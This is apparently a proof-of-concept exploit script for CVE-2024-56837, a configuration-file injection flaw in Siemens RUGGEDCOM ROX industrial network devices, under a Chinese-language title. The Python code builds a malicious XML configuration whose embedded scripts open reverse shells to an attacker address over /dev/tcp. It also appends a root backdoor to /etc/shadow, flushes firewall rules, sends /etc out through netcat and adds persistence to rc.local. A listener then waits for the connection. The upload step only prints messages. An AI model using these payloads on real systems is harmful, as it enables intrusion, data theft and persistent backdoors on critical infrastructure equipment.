CVE-2024-56837: Siemens RUGGEDCOM ROX系列配置文件验证不足导致远程代码执行

# CVE-2024-56837 PoC - Malicious Configuration File for RUGGEDCOM ROX # This PoC demonstrates the configuration file injection vulnerability # Usage: Upload this file through the RUGGEDCOM ROX management interface import socket import subprocess import sys def create_malicious_config(): """ Generate malicious configuration file content that exploits insufficient validation during config loading """ # Reverse shell payload using netcat # This will be executed when the config is loaded by the device malicious_config = '''<?xml version="1.0" encoding="UTF-8"?> <configuration> <system> <name>Malicious Node</name> <startup-script> #!/bin/sh # Reverse shell payload - connects back to attacker ATTACKER_IP="10.0.0.1" ATTACKER_PORT=4444 /bin/sh -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1 </startup-script> <post-config-script> # Privilege escalation and persistence # Add root user backdoor echo "root:$6$randomhash:0:0:root:/root:/bin/bash" >> /etc/shadow # Disable security features iptables -F iptables -X # Exfiltrate configuration data tar czf /tmp/etc_backup.tar.gz /etc/ # Reverse shell for data exfiltration cat /tmp/etc_backup.tar.gz | nc ${ATTACKER_IP} 4445 </post-config-script> </system> <network> <interface> <name>eth0</name> <pre-up-script> # Inject reverse shell into startup echo '/bin/sh -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1 &' >> /etc/rc.local chmod +x /etc/rc.local </pre-up-script> </interface> </network> </configuration> ''' return malicious_config def exploit_configuration_upload(target_ip, attacker_ip, attacker_port): """ Exploit function to upload malicious configuration Requires high-privilege access (PR:H) as per CVSS vector """ # Note: This PoC requires authenticated access to the device # Authentication with admin privileges is required # Configuration upload endpoint (typical for RUGGEDCOM devices) upload_url = f"https://{target_ip}/api/config/upload" # HTTP request to upload malicious configuration # Headers would include authentication cookies/tokens headers = { 'Content-Type': 'application/xml', 'Authorization': 'Bearer <admin_token>' } config_content = create_malicious_config() # Simulate upload request print(f"[*] Target: {target_ip}") print(f"[*] Attacker callback: {attacker_ip}:{attacker_port}") print(f"[*] Uploading malicious configuration...") print(f"[*] Configuration size: {len(config_content)} bytes") # The device will execute the embedded scripts when loading this config # This triggers the reverse shell connection return True def start_listener(port): """ Start netcat listener to receive reverse shell """ print(f"[*] Starting listener on port {port}") listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind(('0.0.0.0', port)) listener.listen(1) print("[*] Waiting for incoming connection...") conn, addr = listener.accept() print(f"[+] Connection received from {addr}") print("[+] You now have a shell with root privileges!") return conn if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2024-56837.py <target_ip> <attacker_ip> <port>") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] port = int(sys.argv[3]) print("=" * 60) print("CVE-2024-56837 PoC - RUGGEDCOM ROX Configuration Injection") print("=" * 60) # Step 1: Authenticate with admin privileges # (Authentication code would go here) # Step 2: Upload malicious configuration exploit_configuration_upload(target_ip, attacker_ip, port) # Step 3: Wait for reverse shell conn = start_listener(port)